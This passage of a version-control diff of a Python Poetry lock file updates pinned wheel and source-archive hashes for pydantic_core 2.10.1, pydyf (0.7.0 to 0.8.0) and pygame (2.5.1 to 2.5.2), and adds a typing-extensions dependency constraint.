+ {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fa7db7558607afeccb33c0e4bf1c9a9a835e26599e76af6fe2fcea45904083a6"},
+ {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:aad7bd686363d1ce4ee930ad39f14e1673248373f4a9d74d2b9554f06199fb58"},
+ {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:443fed67d33aa85357464f297e3d26e570267d1af6fef1c21ca50921d2976302"},
+ {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:042462d8d6ba707fd3ce9649e7bf268633a41018d6a998fb5fbacb7e928a183e"},
+ {file = "pydantic_core-2.10.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:ecdbde46235f3d560b18be0cb706c8e8ad1b965e5c13bbba7450c86064e96561"},
+ {file = "pydantic_core-2.10.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:ed550ed05540c03f0e69e6d74ad58d026de61b9eaebebbaaf8873e585cbb18de"},
+ {file = "pydantic_core-2.10.1-cp38-none-win32.whl", hash = "sha256:8cdbbd92154db2fec4ec973d45c565e767ddc20aa6dbaf50142676484cbff8ee"},
+ {file = "pydantic_core-2.10.1-cp38-none-win_amd64.whl", hash = "sha256:9f6f3e2598604956480f6c8aa24a3384dbf6509fe995d97f6ca6103bb8c2534e"},
+ {file = "pydantic_core-2.10.1-cp39-cp39-macosx_10_7_x86_64.whl", hash = "sha256:655f8f4c8d6a5963c9a0687793da37b9b681d9ad06f29438a3b2326d4e6b7970"},
+ {file = "pydantic_core-2.10.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e570ffeb2170e116a5b17e83f19911020ac79d19c96f320cbfa1fa96b470185b"},
+ {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:64322bfa13e44c6c30c518729ef08fda6026b96d5c0be724b3c4ae4da939f875"},
+ {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:485a91abe3a07c3a8d1e082ba29254eea3e2bb13cbbd4351ea4e5a21912cc9b0"},
+ {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7c2b8eb9fc872e68b46eeaf835e86bccc3a58ba57d0eedc109cbb14177be531"},
+ {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a5cb87bdc2e5f620693148b5f8f842d293cae46c5f15a1b1bf7ceeed324a740c"},
+ {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:25bd966103890ccfa028841a8f30cebcf5875eeac8c4bde4fe221364c92f0c9a"},
+ {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f323306d0556351735b54acbf82904fe30a27b6a7147153cbe6e19aaaa2aa429"},
+ {file = "pydantic_core-2.10.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0c27f38dc4fbf07b358b2bc90edf35e82d1703e22ff2efa4af4ad5de1b3833e7"},
+ {file = "pydantic_core-2.10.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:f1365e032a477c1430cfe0cf2856679529a2331426f8081172c4a74186f1d595"},
+ {file = "pydantic_core-2.10.1-cp39-none-win32.whl", hash = "sha256:a1c311fd06ab3b10805abb72109f01a134019739bd3286b8ae1bc2fc4e50c07a"},
+ {file = "pydantic_core-2.10.1-cp39-none-win_amd64.whl", hash = "sha256:ae8a8843b11dc0b03b57b52793e391f0122e740de3df1474814c700d2622950a"},
+ {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-macosx_10_7_x86_64.whl", hash = "sha256:d43002441932f9a9ea5d6f9efaa2e21458221a3a4b417a14027a1d530201ef1b"},
+ {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:fcb83175cc4936a5425dde3356f079ae03c0802bbdf8ff82c035f8a54b333521"},
+ {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:962ed72424bf1f72334e2f1e61b68f16c0e596f024ca7ac5daf229f7c26e4208"},
+ {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2cf5bb4dd67f20f3bbc1209ef572a259027c49e5ff694fa56bed62959b41e1f9"},
+ {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:e544246b859f17373bed915182ab841b80849ed9cf23f1f07b73b7c58baee5fb"},
+ {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c0877239307b7e69d025b73774e88e86ce82f6ba6adf98f41069d5b0b78bd1bf"},
+ {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:53df009d1e1ba40f696f8995683e067e3967101d4bb4ea6f667931b7d4a01357"},
+ {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:a1254357f7e4c82e77c348dabf2d55f1d14d19d91ff025004775e70a6ef40ada"},
+ {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-macosx_10_7_x86_64.whl", hash = "sha256:524ff0ca3baea164d6d93a32c58ac79eca9f6cf713586fdc0adb66a8cdeab96a"},
+ {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3f0ac9fb8608dbc6eaf17956bf623c9119b4db7dbb511650910a82e261e6600f"},
+ {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:320f14bd4542a04ab23747ff2c8a778bde727158b606e2661349557f0770711e"},
+ {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:63974d168b6233b4ed6a0046296803cb13c56637a7b8106564ab575926572a55"},
+ {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:417243bf599ba1f1fef2bb8c543ceb918676954734e2dcb82bf162ae9d7bd514"},
+ {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:dda81e5ec82485155a19d9624cfcca9be88a405e2857354e5b089c2a982144b2"},
+ {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:14cfbb00959259e15d684505263d5a21732b31248a5dd4941f73a3be233865b9"},
+ {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:631cb7415225954fdcc2a024119101946793e5923f6c4d73a5914d27eb3d3a05"},
+ {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:bec7dd208a4182e99c5b6c501ce0b1f49de2802448d4056091f8e630b28e9a52"},
+ {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:149b8a07712f45b332faee1a2258d8ef1fb4a36f88c0c17cb687f205c5dc6e7d"},
+ {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d966c47f9dd73c2d32a809d2be529112d509321c5310ebf54076812e6ecd884"},
+ {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:7eb037106f5c6b3b0b864ad226b0b7ab58157124161d48e4b30c4a43fef8bc4b"},
+ {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:154ea7c52e32dce13065dbb20a4a6f0cc012b4f667ac90d648d36b12007fa9f7"},
+ {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:e562617a45b5a9da5be4abe72b971d4f00bf8555eb29bb91ec2ef2be348cd132"},
+ {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:f23b55eb5464468f9e0e9a9935ce3ed2a870608d5f534025cd5536bca25b1402"},
+ {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:e9121b4009339b0f751955baf4543a0bfd6bc3f8188f8056b1a25a2d45099934"},
+ {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:0523aeb76e03f753b58be33b26540880bac5aa54422e4462404c432230543f33"},
+ {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2e0e2959ef5d5b8dc9ef21e1a305a21a36e254e6a34432d00c72a92fdc5ecda5"},
+ {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:da01bec0a26befab4898ed83b362993c844b9a607a86add78604186297eb047e"},
+ {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f2e9072d71c1f6cfc79a36d4484c82823c560e6f5599c43c1ca6b5cdbd54f881"},
+ {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:f36a3489d9e28fe4b67be9992a23029c3cec0babc3bd9afb39f49844a8c721c5"},
+ {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f64f82cc3443149292b32387086d02a6c7fb39b8781563e0ca7b8d7d9cf72bd7"},
+ {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:b4a6db486ac8e99ae696e09efc8b2b9fea67b63c8f88ba7a1a16c24a057a0776"},
+ {file = "pydantic_core-2.10.1.tar.gz", hash = "sha256:0f8682dbdd2f67f8e1edddcbffcc29f60a6182b4901c367fc8c1c40d30bb0a82"},
+]
+
+[package.dependencies]
+typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0"
[[package]]
name = "pydyf"
-version = "0.7.0"
+version = "0.8.0"
description = "A low-level PDF generator."
optional = false
python-versions = ">=3.7"
files = [
- {file = "pydyf-0.7.0-py3-none-any.whl", hash = "sha256:23a753daa75adba387606c54eab4d5c9bca83f076be697e59f719d238753fb05"},
- {file = "pydyf-0.7.0.tar.gz", hash = "sha256:a5a88cb06e5beb64a1ef2147ee879b0e5139f5fdb827fda2fcf14a018c7b11e6"},
+ {file = "pydyf-0.8.0-py3-none-any.whl", hash = "sha256:901186a2e9f897108139426a6486f5225bdcc9b70be2ec965f25111e42f8ac5d"},
+ {file = "pydyf-0.8.0.tar.gz", hash = "sha256:b22b1ef016141b54941ad66ed4e036a7bdff39c0b360993b283875c3f854dd9a"},
]
[package.extras]
@@ -1713,66 +1811,68 @@ test = ["flake8", "isort", "pillow", "pytest"]
[[package]]
name = "pygame"
-version = "2.5.1"
+version = "2.5.2"
description = "Python Game Development"
optional = false
python-versions = ">=3.6"
files = [
- {file = "pygame-2.5.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:afc3d7d125baba727785fd4a05b2a99a0ee1c0cff6db7321e65607a3f644724d"},
- {file = "pygame-2.5.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:423168a16e89e02b4addfd3c2b68cfa9826bd675aa18141435de16da85143afe"},
- {file = "pygame-2.5.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8722cae725c49493603509087d5c4e6b9200993ab998663a553df3279237c52d"},
- {file = "pygame-2.5.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:757f74c029c6d0fbed8f778034c7fa5be77f3d1cf217e9eda48d8508b7672d14"},
- {file = "pygame-2.5.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f597d1c57d4297b518865d95539fa70decbba77809bda66278baf0df98b6e2cf"},
- {file = "pygame-2.5.1-cp310-cp310-win32.whl", hash = "sha256:65d1983837fd1f8a9fee3576500e666fcdd4efb20c4b8d0edab2ff6921c67aa8"},
- {file = "pygame-2.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:30fe97290f0fcc6a6f45a939a95ae44477a9b36cd89f93a7435bdad6d6a2bedd"},
- {file = "pygame-2.5.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:8fbf01919feea464b57b505973f68386d73d2cd08cf52078c578e3bffcf03c84"},
- {file = "pygame-2.5.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f0b237cee5147f95bcbc98d8c1f13da4a6a637256a274021313db6a11ab8cebf"},
- {file = "pygame-2.5.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:57bf8237fa2dcc16ddb4cd2eddaa52009e6c84f219c051b118d8863ea7f05433"},
- {file = "pygame-2.5.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:93de41a54909f5622f01671d04e22c4dbc889ae8c3d1b1ee1b25d4e83077683f"},
- {file = "pygame-2.5.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6621baf985d8aec2b1089d86dcbf7b53ed1b235d9b372b1083e385f8d6ef9ee1"},
- {file = "pygame-2.5.1-cp311-cp311-win32.whl", hash = "sha256:1f90e3e6677cfc56bb04b13fb6c6e61e5f24d9373b27d33942ba7e4da0255c8d"},
- {file = "pygame-2.5.1-cp311-cp311-win_amd64.whl", hash = "sha256:b06122f17e5c6ec7316c454613a34d697abfed94ed1029f26b804d20ef6ba550"},
- {file = "pygame-2.5.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63f7b0cd0ea631161b72056ce6d8ee0eb6af809e1a1f96c5fd338ec8b7e9eb33"},
- {file = "pygame-2.5.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3b0ab1e29459f5e6d88c3c586f59113172846f8800f0a166d1605a0f459f8242"},
- {file = "pygame-2.5.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d9c01780e8a11047c0a9f9b09db023d736c2221a292f2542b398f78a0bf15f32"},
- {file = "pygame-2.5.1-cp312-cp312-win32.whl", hash = "sha256:643a0556b563a9ae9448ffdec459bb84d200be666e4fd197d68be15b6c2b4826"},
- {file = "pygame-2.5.1-cp312-cp312-win_amd64.whl", hash = "sha256:2cb3d56f34147c4c6653c4dac8d58e0791a298abff762aab147679e6935e6cd0"},
- {file = "pygame-2.5.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:2377534fe2947ae6eaec1b7469f438ae4e4f3ff22c67b80e0c580215a52654ce"},
- {file = "pygame-2.5.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:88d2a8880200035017696783475b6f32b0e551fbb23a52f0223264b24d680949"},
- {file = "pygame-2.5.1-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:48c6064bc879ef092194cf21ba25433500a0f8006979ef9ae145081ed1767de7"},
- {file = "pygame-2.5.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f983d62e659e7b2644605b690e2b72683b2d0d1124f09274ffa2cc8658648546"},
- {file = "pygame-2.5.1-cp36-cp36m-win32.whl", hash = "sha256:57c361a402db63224160082451721caafc138e6e27aba5f30f9268672fb8f3d1"},
- {file = "pygame-2.5.1-cp36-cp36m-win_amd64.whl", hash = "sha256:cbcd03784a1858c2c5b91b6ba65c1905b9e30a2e150759f5a54af3241e008fbc"},
- {file = "pygame-2.5.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:be1ec9bf870d155b978811d115363c89eb10418c78295bb58b7bbd4e679d0010"},
- {file = "pygame-2.5.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1b2d1fcb51e60ecacd18f2a03f2a6023453ab64298fd4f54d8c50a5b2a13bff"},
- {file = "pygame-2.5.1-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9212522069fca25cadf3a8044383d01f5451833b66f950cb9bc6d49406f88cee"},
- {file = "pygame-2.5.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4276c2688b11e098bb3732e7e243f522a58d0cd662bc72008727fc7671277771"},
- {file = "pygame-2.5.1-cp37-cp37m-win32.whl", hash = "sha256:9463b7c80994eabcb6f9460a7859241fe030c6654d041a2f26ce12366ae202f3"},
- {file = "pygame-2.5.1-cp37-cp37m-win_amd64.whl", hash = "sha256:11cb40204cad95b7c23aee32bac048a531e3528a6f12dd3601504ec0b6000c06"},
- {file = "pygame-2.5.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:426897ec90e91a05c3d41c44875793568d4b20065f086ac476729a9e557e8976"},
- {file = "pygame-2.5.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:184d8e3b025ca6cbd199235faece6a7b911725566f40c71e0773058f1e189da2"},
- {file = "pygame-2.5.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b378ba0756173e9dc8cd7e0c40cb6ba217b122a6bef2ce3479293d543cc9777"},
- {file = "pygame-2.5.1-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62f09b59b9702ccf9d7a6e7c6ebb1fca5f0072c30e99b4f786c5478876433f0c"},
- {file = "pygame-2.5.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cbcc7284369118299ce935062ef0c79d67503ad3b86bd6b02a29211279a46244"},
- {file = "pygame-2.5.1-cp38-cp38-win32.whl", hash = "sha256:3df49bb58dcd70ed76e8da0e936a267c57245e5b057ceeaa9070340d7d49162a"},
- {file = "pygame-2.5.1-cp38-cp38-win_amd64.whl", hash = "sha256:4c410bd1d0807820fef48f15452366d0ef100d966323835ced818f7833d16a5a"},
- {file = "pygame-2.5.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:06c0a4f415dffa0b9d9099ee01647b1d6794f6a96b2b909997e05acff85e745c"},
- {file = "pygame-2.5.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a0eb2cae526a39a8e213477ce6d4947d7b7fb50757fbdb0275c9e3ee1bca22df"},
- {file = "pygame-2.5.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a232083d54c5936f40cb493d9cced38702a03dd7918fefd9a6b6522875714e5"},
- {file = "pygame-2.5.1-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e234c4d58b76dfc0d32b337e46e2191fa4dad7b3b0c7110d5c97076f1bf8cbd4"},
- {file = "pygame-2.5.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8e9816fa15aea99b6ea2e0b88ba07e83cc19a152c3724016d323823e6e713454"},
- {file = "pygame-2.5.1-cp39-cp39-win32.whl", hash = "sha256:7613ccb5c1800234c7e2d090f5f0be9d72f5fd76e49acc458bcc33797ab0de97"},
- {file = "pygame-2.5.1-cp39-cp39-win_amd64.whl", hash = "sha256:0618d8648e8d890a1bfc04a2ffd043a9b20dbc2e175d1347402e044729a5515b"},
- {file = "pygame-2.5.1-pp36-pypy36_pp73-win32.whl", hash = "sha256:ea3bce8488f2bdb83a874f7799e229be9e0a1b70d2cff9c47234c19a54ab868e"},
- {file = "pygame-2.5.1-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:581ef66dfbff883fc4a172f57395db4e8c97d3381860e81943261a5a5214fde7"},
- {file = "pygame-2.5.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e4bbe4b94cd0dbf592ee32be5561b0cad8327aff92c36e7a1a1372ed804229e"},
- {file = "pygame-2.5.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:05b13f5994efd61c3de50ef0b5062fa3396e3fd851e99e215a7e3da78da49561"},
- {file = "pygame-2.5.1-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e21a79fd5db155164ad3341f12c89e121ce53cb4ea1856527dfa9daeb3f6016d"},
- {file = "pygame-2.5.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e8c5953767eb459d9a32ca52399c2f379af807a24e00163f1bcb1aacc1e81d59"},
- {file = "pygame-2.5.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:84e4a4da14235d812b65081a87dbe89a4d45a101d06a4f33cf386be825e8797e"},
- {file = "pygame-2.5.1-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5a78eb81082bf460249f0e7267db8d2f401f37f538b673125719be1db504584c"},
- {file = "pygame-2.5.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cfb90539845885c4bb7861d6c7fe84ffb19de466b6d55fc39b707e8ea261ff93"},
- {file = "pygame-2.5.1.tar.gz", hash = "sha256:b7f88720be5c740576fd988dc0375328dc1adb070869654a245531e03df46262"},
+ {file = "pygame-2.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a0769eb628c818761755eb0a0ca8216b95270ea8cbcbc82227e39ac9644643da"},
+ {file = "pygame-2.5.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ed9a3d98adafa0805ccbaaff5d2996a2b5795381285d8437a4a5d248dbd12b4a"},
+ {file = "pygame-2.5.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30d1618672a55e8c6669281ba264464b3ab563158e40d89e8c8b3faa0febebd"},
+ {file = "pygame-2.5.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:39690e9be9baf58b7359d1f3b2336e1fd6f92fedbbce42987be5df27f8d30718"},
+ {file = "pygame-2.5.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03879ec299c9f4ba23901b2649a96b2143f0a5d787f0b6c39469989e2320caf1"},
+ {file = "pygame-2.5.2-cp310-cp310-win32.whl", hash = "sha256:74e1d6284100e294f445832e6f6343be4fe4748decc4f8a51131ae197dae8584"},
+ {file = "pygame-2.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:485239c7d32265fd35b76ae8f64f34b0637ae11e69d76de15710c4b9edcc7c8d"},
+ {file = "pygame-2.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:34646ca20e163dc6f6cf8170f1e12a2e41726780112594ac061fa448cf7ccd75"},
+ {file = "pygame-2.5.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3b8a6e351665ed26ea791f0e1fd649d3f483e8681892caef9d471f488f9ea5ee"},
+ {file = "pygame-2.5.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dc346965847aef00013fa2364f41a64f068cd096dcc7778fc306ca3735f0eedf"},
+ {file = "pygame-2.5.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:35632035fd81261f2d797fa810ea8c46111bd78ceb6089d52b61ed7dc3c5d05f"},
+ {file = "pygame-2.5.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e24d05184e4195fe5ebcdce8b18ecb086f00182b9ae460a86682d312ce8d31f"},
+ {file = "pygame-2.5.2-cp311-cp311-win32.whl", hash = "sha256:f02c1c7505af18d426d355ac9872bd5c916b27f7b0fe224749930662bea47a50"},
+ {file = "pygame-2.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:6d58c8cf937815d3b7cdc0fa9590c5129cb2c9658b72d00e8a4568dea2ff1d42"},
+ {file = "pygame-2.5.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:1a2a43802bb5e89ce2b3b775744e78db4f9a201bf8d059b946c61722840ceea8"},
+ {file = "pygame-2.5.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1c289f2613c44fe70a1e40769de4a49c5ab5a29b9376f1692bb1a15c9c1c9bfa"},
+ {file = "pygame-2.5.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:074aa6c6e110c925f7f27f00c7733c6303407edc61d738882985091d1eb2ef17"},
+ {file = "pygame-2.5.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe0228501ec616779a0b9c4299e837877783e18df294dd690b9ab0eed3d8aaab"},
+ {file = "pygame-2.5.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31648d38ecdc2335ffc0e38fb18a84b3339730521505dac68514f83a1092e3f4"},
+ {file = "pygame-2.5.2-cp312-cp312-win32.whl", hash = "sha256:224c308856334bc792f696e9278e50d099a87c116f7fc314cd6aa3ff99d21592"},
+ {file = "pygame-2.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:dd2d2650faf54f9a0f5bd0db8409f79609319725f8f08af6507a0609deadcad4"},
+ {file = "pygame-2.5.2-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:9b30bc1220c457169571aac998e54b013aaeb732d2fd8744966cb1cfab1f61d1"},
+ {file = "pygame-2.5.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78fcd7643358b886a44127ff7dec9041c056c212b3a98977674f83f99e9b12d3"},
+ {file = "pygame-2.5.2-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:35cf093a51cb294ede56c29d4acf41538c00f297fcf78a9b186fb7d23c0577b6"},
+ {file = "pygame-2.5.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6fe323acbf53a0195c8c98b1b941eba7ac24e3e2b28ae48e8cda566f15fc4945"},
+ {file = "pygame-2.5.2-cp36-cp36m-win32.whl", hash = "sha256:5697528266b4716d9cdd44a5a1d210f4d86ef801d0f64ca5da5d0816704009d9"},
+ {file = "pygame-2.5.2-cp36-cp36m-win_amd64.whl", hash = "sha256:edda1f7cff4806a4fa39e0e8ccd75f38d1d340fa5fc52d8582ade87aca247d92"},
+ {file = "pygame-2.5.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9bd738fd4ecc224769d0b4a719f96900a86578e26e0105193658a32966df2aae"},
+ {file = "pygame-2.5.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:30a8d7cf12363b4140bf2f93b5eec4028376ca1d0fe4b550588f836279485308"},
+ {file = "pygame-2.5.2-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc12e4dea3e88ea8a553de6d56a37b704dbe2aed95105889f6afeb4b96e62097"},
+ {file = "pygame-2.5.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2b34c73cb328024f8db3cb6487a37e54000148988275d8d6e5adf99d9323c937"},
+ {file = "pygame-2.5.2-cp37-cp37m-win32.whl", hash = "sha256:7d0a2794649defa57ef50b096a99f7113d3d0c2e32d1426cafa7d618eadce4c7"},
+ {file = "pygame-2.5.2-cp37-cp37m-win_amd64.whl", hash = "sha256:41f8779f52e0f6e6e6ccb8f0b5536e432bf386ee29c721a1c22cada7767b0cef"},
+ {file = "pygame-2.5.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:677e37bc0ea7afd89dde5a88ced4458aa8656159c70a576eea68b5622ee1997b"},
+ {file = "pygame-2.5.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:47a8415d2bd60e6909823b5643a1d4ef5cc29417d817f2a214b255f6fa3a1e4c"},
+ {file = "pygame-2.5.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ff21201df6278b8ca2e948fb148ffe88f5481fd03760f381dd61e45954c7dff"},
+ {file = "pygame-2.5.2-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d29a84b2e02814b9ba925357fd2e1df78efe5e1aa64dc3051eaed95d2b96eafd"},
+ {file = "pygame-2.5.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d78485c4d21133d6b2fbb504cd544ca655e50b6eb551d2995b3aa6035928adda"},
+ {file = "pygame-2.5.2-cp38-cp38-win32.whl", hash = "sha256:d851247239548aa357c4a6840fb67adc2d570ce7cb56988d036a723d26b48bff"},
+ {file = "pygame-2.5.2-cp38-cp38-win_amd64.whl", hash = "sha256:88d1cdacc2d3471eceab98bf0c93c14d3a8461f93e58e3d926f20d4de3a75554"},
